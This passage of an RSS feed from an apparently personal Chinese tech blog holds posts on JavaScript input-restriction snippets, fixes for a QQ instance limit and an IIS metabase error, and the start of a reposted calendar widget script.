#0000ff"&gt;=&amp;quot;value=value.replace(/[^\d{1,}\.\d{1,}|\d{1,}]/g,'')&amp;quot;&lt;/span&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;javascript 只能输入数字和&amp;quot;:&amp;quot;.2007-11-24 15:50&amp;lt;input type=text id=&amp;quot;aa1&amp;quot; onkeyup=&amp;quot;this.value=this.value.replace(/[^\d&amp;amp;:]/g,'')&amp;quot; onblur=&amp;quot;this.value=this.value.replace(/[^\d&amp;amp;:]/g,'')&amp;quot; onafterpaste=&amp;quot;this.value=this.value.replace(/[^\d&amp;amp;:]/g,'')&amp;quot;/&amp;gt;&lt;/p&gt;&lt;p&gt;只能数字和&amp;quot;:&amp;quot;,例如在输入时间的时候可以用到。&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&amp;lt;input type=text id=&amp;quot;aa&amp;quot; onkeyup=&amp;quot;value=value.replace(/[^\w&amp;amp;=]|_/ig,'')&amp;quot; onblur=&amp;quot;value=value.replace(/[^\w&amp;amp;=]|_/ig,'')&amp;quot; /&amp;gt;&lt;/p&gt;&lt;p&gt;只能输入字母和等号，不能输入汉字。&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;其它的东西：&lt;/p&gt;&lt;p&gt;&lt;br&gt;只能输入数字的脚本javascript- -&lt;br&gt;1.&amp;lt;input onkeyup=&amp;quot;this.value=this.value.replace(/\D/g,'')&amp;quot;&lt;/p&gt;&lt;p&gt;onafterpaste=&amp;quot;this.value=this.value.replace(/\D/g,'')&amp;quot;&amp;gt;&lt;/p&gt;&lt;p&gt;上半句意思是键盘键入只能是数字，下半句是粘贴也只能是数字&lt;/p&gt;&lt;p&gt;&lt;br&gt;2.&amp;lt;input name=txt1 onchange=&amp;quot;if(/\D/.test(this.value)){alert('只能输入数字');this.value='';}&amp;quot;&amp;gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;3.&amp;lt;input onkeyup=&amp;quot;if(isNaN(value))execCommand('undo')&amp;quot; onafterpaste=&amp;quot;if(isNaN(value))execCommand('undo')&amp;quot;&amp;gt;&lt;/p&gt;&lt;p&gt;JavaScript限制只能输入数字和英文- -&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;br&gt;function isregname( checkobj)&lt;br&gt;{&lt;br&gt;var checkOK = &amp;quot;0123456789-_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&amp;quot;;&lt;br&gt;var checkStr = checkobj;&lt;br&gt;var allValid = true;&lt;br&gt;var decPoints = 0;&lt;br&gt;&lt;br&gt;for (i = 0; i &amp;lt; checkStr.length; i++)&lt;br&gt;{&lt;br&gt;ch = checkStr.charAt(i);&lt;br&gt;for (j = 0; j &amp;lt; checkOK.length; j++)&lt;br&gt;if (ch == checkOK.charAt(j))&lt;br&gt;break;&lt;br&gt;if (j == checkOK.length)&lt;br&gt;{&lt;br&gt;allValid = false;&lt;br&gt;break;&lt;br&gt;}&lt;br&gt;}&lt;br&gt;return (allValid)&lt;br&gt;}&lt;/p&gt;&lt;p&gt;----------------&lt;/p&gt;&lt;p&gt;if(!(isregname(obj.loginname.value))){&lt;br&gt;alert(&amp;quot;[会员代号]不符合规范,会员代号只能是英文字母或数字&amp;quot;);&lt;br&gt;obj.loginname.focus();&lt;br&gt;return(false);&lt;br&gt;}&lt;br&gt;if(!(isregname(obj.password.value))){&lt;br&gt;alert(&amp;quot;[密码]不符合规范,密码只能是英文字母或数字&amp;quot;);&lt;br&gt;obj.password.focus();&lt;br&gt;return(false);&lt;br&gt;}&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="text-decoration: underline"&gt;4.javascript只能输入英文和数字的输入框&lt;/span&gt;&lt;/strong&gt;&lt;br&gt;&amp;lt;input onkeyup=&amp;quot;value=value.replace(/[\W]/g,'') &amp;quot;onbeforepaste=&amp;quot;clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))&amp;quot;&amp;gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="text-decoration: underline"&gt;5.可以用Javascript对文本框进行检查，过滤掉非0-9的字符。&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&amp;lt;script language=&amp;quot;javascript&amp;quot; event=&amp;quot;onkeydown&amp;quot; for=&amp;quot;document&amp;quot;&amp;gt;&lt;br&gt;　　 if(event.srcElement.name=='TextBox1')&lt;br&gt;　　 {&lt;br&gt;　　 if(!KeyIsNumber(event.keyCode))&lt;br&gt;　　 {&lt;br&gt;　　 return false;//这句话最关键&lt;br&gt;　　 }&lt;br&gt;　　 }&lt;br&gt;　　&amp;lt;/script&amp;gt;&lt;br&gt;　　&amp;lt;script language=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br&gt;　　function KeyIsNumber(KeyCode)&lt;br&gt;　　{&lt;br&gt;　　 //如果输入的字符是在0-9之间，或者是backspace、DEL键&lt;br&gt;　　 if(((KeyCode&amp;gt;47)&amp;amp;&amp;amp;(KeyCode&amp;lt;58))||(KeyCode==8)||(KeyCode==46))&lt;br&gt;　　 {&lt;br&gt;　　 return true;&lt;br&gt;　　 }&lt;br&gt;　　 else&lt;br&gt;　　 {&lt;br&gt;　　 return false;&lt;br&gt;　　 }&lt;br&gt;　　}&lt;br&gt;　　&amp;lt;/script&amp;gt;[url=http://blog.csdn.net/xujh/admin/EditPosts.aspx][/url]&lt;/p&gt;&lt;p&gt;6.&lt;strong&gt;&lt;span style="text-decoration: underline"&gt;限制在文本框里面只能输入IP地址格式&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&amp;lt;HTML&amp;gt;&lt;br&gt;&lt;br&gt;&amp;lt;head&amp;gt;&lt;br&gt;&amp;lt;meta http-equiv=&amp;quot;Content-Type&amp;quot; content=&amp;quot;text/HTML; charset=gb2312&amp;quot;&amp;gt;&lt;/p&gt;&lt;table class="FCK__ShowTableBorders" cellspacing="0" cellpadding="0" align="left" border="0"&gt;    &lt;tbody&gt;        &lt;tr&gt;            &lt;td&gt; &lt;/td&gt;        &lt;/tr&gt;    &lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br&gt;&amp;lt;meta name=&amp;quot;GENERATOR&amp;quot; content=&amp;quot;Microsoft FrontPage 4.0&amp;quot;&amp;gt;&lt;br&gt;&amp;lt;meta name=&amp;quot;ProgId&amp;quot; content=&amp;quot;FrontPage.Editor.Document&amp;quot;&amp;gt;&lt;br&gt;&amp;lt;style&amp;gt;&lt;br&gt;.a3{width:30;border:0;text-align:center}&lt;br&gt;&amp;lt;/style&amp;gt;&lt;br&gt;&amp;lt;script&amp;gt;&lt;br&gt;function mask(obj){&lt;br&gt;obj.value=obj.value.replace(/[^\d]/g,'')&lt;br&gt;key1=event.keyCode&lt;br&gt;if (key1==37 || key1==39)&lt;br&gt;{ obj.blur();&lt;br&gt;nextip=parseInt(obj.name.substr(2,1))&lt;br&gt;nextip=key1==37?nextip-1:nextip+1;&lt;br&gt;nextip=nextip&amp;gt;=5?1:nextip&lt;br&gt;nextip=nextip&amp;lt;=0?4:nextip&lt;br&gt;eval(&amp;quot;ip&amp;quot;+nextip+&amp;quot;.focus()&amp;quot;)&lt;br&gt;}&lt;br&gt;if(obj.value.length&amp;gt;=3)&lt;br&gt;if(parseInt(obj.value)&amp;gt;=256 || parseInt(obj.value)&amp;lt;=0)&lt;br&gt;{&lt;br&gt;alert(parseInt(obj.value)+&amp;quot;IP地址错误！&amp;quot;)&lt;br&gt;obj.value=&amp;quot;&amp;quot;&lt;br&gt;obj.focus()&lt;br&gt;return false;&lt;br&gt;}&lt;br&gt;else&lt;br&gt;{ obj.blur();&lt;br&gt;nextip=parseInt(obj.name.substr(2,1))+1&lt;br&gt;nextip=nextip&amp;gt;=5?1:nextip&lt;br&gt;nextip=nextip&amp;lt;=0?4:nextip&lt;br&gt;eval(&amp;quot;ip&amp;quot;+nextip+&amp;quot;.focus()&amp;quot;)&lt;br&gt;}&lt;br&gt;}&lt;br&gt;function mask_c(obj)&lt;br&gt;{&lt;br&gt;clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))&lt;br&gt;}&lt;br&gt;&lt;br&gt;&amp;lt;/script&amp;gt;&lt;br&gt;&amp;lt;title&amp;gt;IP地址输入&amp;lt;/title&amp;gt;&lt;br&gt;&lt;br&gt;&amp;lt;/head&amp;gt;&lt;br&gt;&amp;lt;body&amp;gt;IP地址输入&lt;br&gt;&amp;lt;div style=&amp;quot;border-width:1;border-color:balck;border-style:solid;width:165;font-size:9pt&amp;quot;&amp;gt;&lt;br&gt;&amp;lt;input type=text name=ip1 maxlength=3 class=a3 onkeyup=&amp;quot;mask(this)&amp;quot; onbeforepaste=mask_c()&amp;gt;.&lt;br&gt;&amp;lt;input type=text name=ip2 maxlength=3 class=a3 onkeyup=&amp;quot;mask(this)&amp;quot; onbeforepaste=mask_c()&amp;gt;.&lt;br&gt;&amp;lt;input type=text name=ip3 maxlength=3 class=a3 onkeyup=&amp;quot;mask(this)&amp;quot; onbeforepaste=mask_c()&amp;gt;.&lt;br&gt;&amp;lt;input type=text name=ip4 maxlength=3 class=a3 onkeyup=&amp;quot;mask(this)&amp;quot; onbeforepaste=mask_c()&amp;gt;&lt;br&gt;&amp;lt;/div&amp;gt;&lt;br&gt;&amp;lt;/body&amp;gt;&lt;br&gt;&lt;br&gt;&amp;lt;/HTML&amp;gt;&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=134</guid><pubDate>Sat, 24 Nov 2007 07:50:00 GMT</pubDate></item><item><title>你机子的QQ已经达到个数限制【解决办法】</title><link>http://www.chendw.cn:8080/view.aspx?id=133</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;p&gt;今天在一台机子号丧一打开qq就出现这样的提示。&lt;/p&gt;
&lt;p&gt;上网找了下解决办法，测试成功。&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #808000;"&gt;方法1：&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;开始－－&amp;gt;运行－－&amp;gt;dcomcnfg.exe－－&amp;gt;组件服务－－&amp;gt;计算机－－&amp;gt;我的电脑－－&amp;gt;DCOM配置－－&amp;gt;QQMainCreator Component－－&amp;gt;属性－－&amp;gt;安全标签－－&amp;gt;启动和激活权限－－&amp;gt;自定义－－&amp;gt;编辑－－&amp;gt;将&amp;ldquo;组或用户名称&amp;rdquo;里你所使用帐户下的用户权限全部选为拒绝－－&amp;gt;OK&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #808000;"&gt;方法2：&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;找到qq文件夹下的txplateform.exe删除掉也可行&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=133</guid><pubDate>Sun, 29 Mar 2009 03:05:17 GMT</pubDate></item><item><title>访问IIS元数据库失败</title><link>http://www.chendw.cn:8080/view.aspx?id=132</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;div class="textbox-content"&gt;&lt;span style="color: #000000; font-size: x-small;"&gt;&lt;strong&gt;装了VS2005再装IIS，结果出了些小问题&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="textbox-content"&gt;&lt;span style="color: #000000; font-size: x-small;"&gt;&lt;strong&gt;访问IIS元数据库失败&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="textbox-content"&gt;&lt;span style="color: #000000; font-size: x-small;"&gt;&lt;strong&gt;思考可能是次序出了问题，解决&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="textbox-content"&gt;&lt;span style="color: #000000; font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #000000; font-size: x-small;"&gt;&lt;strong&gt;1、打开CMD，进入 C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727 &lt;br /&gt;&lt;span style="display: none"&gt;1A H v#k t9a:_0&lt;/span&gt;2、输入 aspnet_regiis.exe -i &lt;br /&gt;&lt;span style="display: none"&gt;"x.z u7p R''z d:[0&lt;/span&gt;稍等片刻，注册成功就解决问题了。 &lt;br /&gt;&lt;span style="display: none"&gt;H7hX G%P"m0D:U n _ Q0&lt;/span&gt;&lt;br /&gt;&lt;span style="display: none"&gt;+e w!y `9^ Y*I8F S J0&lt;/span&gt;接着还会出现&amp;ldquo;未能创建 Mutex&amp;rdquo;的问题 &lt;span style="display: none"&gt;钱塘个人空间&amp;amp;r ]$c!x-j I&lt;/span&gt;&lt;br /&gt;解决方法： &lt;span style="display: none"&gt;钱塘个人空间 U v @ M H c/a5d&lt;/span&gt;&lt;br /&gt;1、先关闭你的VS2005。 &lt;br /&gt;&lt;span style="display: none"&gt;-I \0v b;|(G q-}8N H ~0&lt;/span&gt;2、打开 C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\Temporary ASP.NET Files&amp;nbsp;&amp;nbsp; 找到你刚才调试的程序的名字的目录删除它。 &lt;span style="display: none"&gt;钱塘个人空间 k-P R z u&lt;/span&gt;&lt;br /&gt;3、关闭IIS服务器，重开一次。 &lt;span style="display: none"&gt;钱塘个人空间4N5c#@ G"G G''da&lt;/span&gt;&lt;br /&gt;4、用IE浏览一下你的程序，问题解决。 &lt;/strong&gt;&lt;/span&gt;&lt;span style="display: none"&gt;K;q {:J,e q A0&lt;/span&gt;&lt;/div&gt;
&lt;div class="textbox-content"&gt;&lt;span style="color: #000000; font-size: x-small;"&gt;&lt;strong&gt;都是次序惹的祸，最好是先IIS 再VS2K5 &lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=132</guid><pubDate>Sun, 29 Mar 2009 03:06:00 GMT</pubDate></item><item><title>[JAVASCRIPT]好用的Javascript版日历控件：梅花雨日历控件3.0修改版【转】</title><link>http://www.chendw.cn:8080/view.aspx?id=131</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;根据网上的梅花雨日历控件3.0修改，修正了一点小BUG&lt;br&gt;1.包含修正版全部修正;&lt;br&gt;2.可以调整日历宽度(原版每个日期太小,点击时比较费劲一点);&lt;br&gt;3.直接显示年和月的下拉框,旧版本改年月时要先点一下,比较烦(但是速度比旧版本慢了一点,我以为这个问题可以忽略)&lt;br&gt;4.年份选择框写死,只能选择系统当年的前后50年(比如现在是2007年,那么下拉表就是1957~2007,其它年份不可选,另:这个50年也可以设置)&lt;/p&gt;&lt;p&gt;使用：把下面的&amp;ldquo;calendar.js文件内容&amp;rdquo;部分复制并拷贝到calendar.js文件中，然后新建一个HTML文件：&lt;br&gt;&amp;lt;script language=javascript src=&amp;quot;calendar.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br&gt;&amp;lt;input name=&amp;quot;s1&amp;quot; type=&amp;quot;text&amp;quot; onfocus=&amp;quot;calendar()&amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  /&amp;gt;&lt;br&gt;就可以看到效果了。&lt;/p&gt;&lt;p&gt;calendar.js文件内容：&lt;br&gt;&amp;lt;!--&lt;br&gt;var cal_Width = 180;//定义日历显示的宽度，至少140&lt;/p&gt;&lt;p&gt;document.write(&amp;quot;&amp;lt;div id=meizzCalendarLayer style='position: absolute; z-index: 9999; width: &amp;quot; + (cal_Width+4).toString() + &amp;quot;; height: 193; display: none'&amp;gt;&amp;quot;);&lt;br&gt;document.write(&amp;quot;&amp;lt;iframe name=meizzCalendarIframe scrolling=no frameborder=0 width=100% height=100%&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/div&amp;gt;&amp;quot;);&lt;br&gt;var WebCalendar = new WebCalendar();&lt;/p&gt;&lt;p&gt;function document.onclick()&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if(WebCalendar.eventSrc != window.event.srcElement) hiddenCalendar();&lt;br&gt;}&lt;/p&gt;&lt;p&gt;function WebCalendar() //初始化日历的设置&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.regInfo&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  = &amp;quot;WEB Calendar ver 3.0&amp;amp;#13;关闭的快捷键：[Esc]&amp;quot;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.dayShow&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  = 38;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //定义页面上要显示的天数,不能小于35,或大于39&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.daysMonth&amp;nbsp;&amp;nbsp;  = new Array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.day&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  = new Array(this.dayShow);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //定义日历展示用的数组&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.dayObj&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  = new Array(this.dayShow);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //定义日期展示控件数组&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.dateStyle&amp;nbsp;&amp;nbsp;  = null;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //保存格式化后日期数组&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.objExport&amp;nbsp;&amp;nbsp;  = null;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //日历回传的显示控件&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.eventSrc&amp;nbsp;&amp;nbsp;&amp;nbsp;  = null;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //日历显示的触发控件&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.inputDate&amp;nbsp;&amp;nbsp;  = null;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //转化外的输入的日期(d/m/yyyy)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.thisYear&amp;nbsp;&amp;nbsp;&amp;nbsp;  = new Date().getFullYear(); //定义年的变量的初始值&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.thisMonth&amp;nbsp;&amp;nbsp;  = new Date().getMonth()+ 1; //定义月的变量的初始值&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.thisDay&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  = new Date().getDate();&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //定义日的变量的初始值&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.today&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  = this.thisDay +&amp;quot;/&amp;quot;+ this.thisMonth +&amp;quot;/&amp;quot;+ this.thisYear;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //今天(d/m/yyyy)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.iframe&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  = window.frames(&amp;quot;meizzCalendarIframe&amp;quot;); //日历的 iframe 载体&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.calendar&amp;nbsp;&amp;nbsp;&amp;nbsp;  = getObjectById(&amp;quot;meizzCalendarLayer&amp;quot;);&amp;nbsp;&amp;nbsp;  //日历的层&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.dateReg&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  = &amp;quot;&amp;quot;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //日历格式验证的正则式&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.yearFall&amp;nbsp;&amp;nbsp;&amp;nbsp;  = 50;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //定义显示的年份下拉框的年差值，如果今年是2000年，这里设置为50，就显示1950－2050&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.format&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  = &amp;quot;yyyy-mm-dd&amp;quot;; //回传日期的格式&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.timeShow&amp;nbsp;&amp;nbsp;&amp;nbsp;  = false;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //是否返回时间&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.drag&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  = true;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //是否允许拖动&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.darkColor&amp;nbsp;&amp;nbsp;  = &amp;quot;#95B7F3&amp;quot;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //控件的暗色&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.lightColor = &amp;quot;#FFFFFF&amp;quot;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //控件的亮色&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.btnBgColor = &amp;quot;#E6E6FA&amp;quot;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //控件的按钮背景色&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.wordColor&amp;nbsp;&amp;nbsp;  = &amp;quot;#000080&amp;quot;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //控件的文字颜色&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.wordDark&amp;nbsp;&amp;nbsp;&amp;nbsp;  = &amp;quot;#DCDCDC&amp;quot;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //控件的暗文字颜色&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.dayBgColor = &amp;quot;#F5F5FA&amp;quot;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //日期数字背景色&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.todayColor = &amp;quot;#FF0000&amp;quot;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //今天在日历上的标示背景色&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.DarkBorder = &amp;quot;#D4D0C8&amp;quot;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  //日期显示的立体表达色&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  this.yearOption = &amp;quot;&amp;quot;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var yearNow = new Date().getFullYear();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  yearNow = (yearNow &amp;lt;= 1000)? 1000 : ((yearNow &amp;gt;= 9999)? 9999 : yearNow);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var yearMin = (yearNow - this.yearFall &amp;gt;= 1000) ? yearNow - this.yearFall : 1000;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var yearMax = (yearNow + this.yearFall &amp;lt;= 9999) ? yearNow + this.yearFall : 9999;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  yearMin = (yearMax == 9999) ? yearMax-this.yearFall*2 : yearMin;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  yearMax = (yearMin == 1000) ? yearMin+this.yearFall*2 : yearMax;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  for (var i=yearMin; i&amp;lt;=yearMax; i++) this.yearOption += &amp;quot;&amp;lt;option value='&amp;quot;+i+&amp;quot;'&amp;gt;&amp;quot;+i+&amp;quot;年&amp;lt;/option&amp;gt;&amp;quot;;&lt;br&gt;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;function writeIframe()&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var strIframe = &amp;quot;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;meta http-equiv='Content-Type' content='text/html; charset=gb2312'&amp;gt;&amp;lt;style&amp;gt;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;*{font-size: 12px; font-family: 宋体}&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;.bg{&amp;nbsp;&amp;nbsp;  color: &amp;quot;+ WebCalendar.lightColor +&amp;quot;; cursor: default; background-color: &amp;quot;+ WebCalendar.darkColor +&amp;quot;;}&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;table#tableMain{ width: &amp;quot;+ (cal_Width+2).toString() +&amp;quot;; height: 180;}&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;table#tableWeek td{ width:14%;color: &amp;quot;+ WebCalendar.lightColor +&amp;quot;;}&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;table#tableDay&amp;nbsp;&amp;nbsp;  td{ width:14%;font-weight: 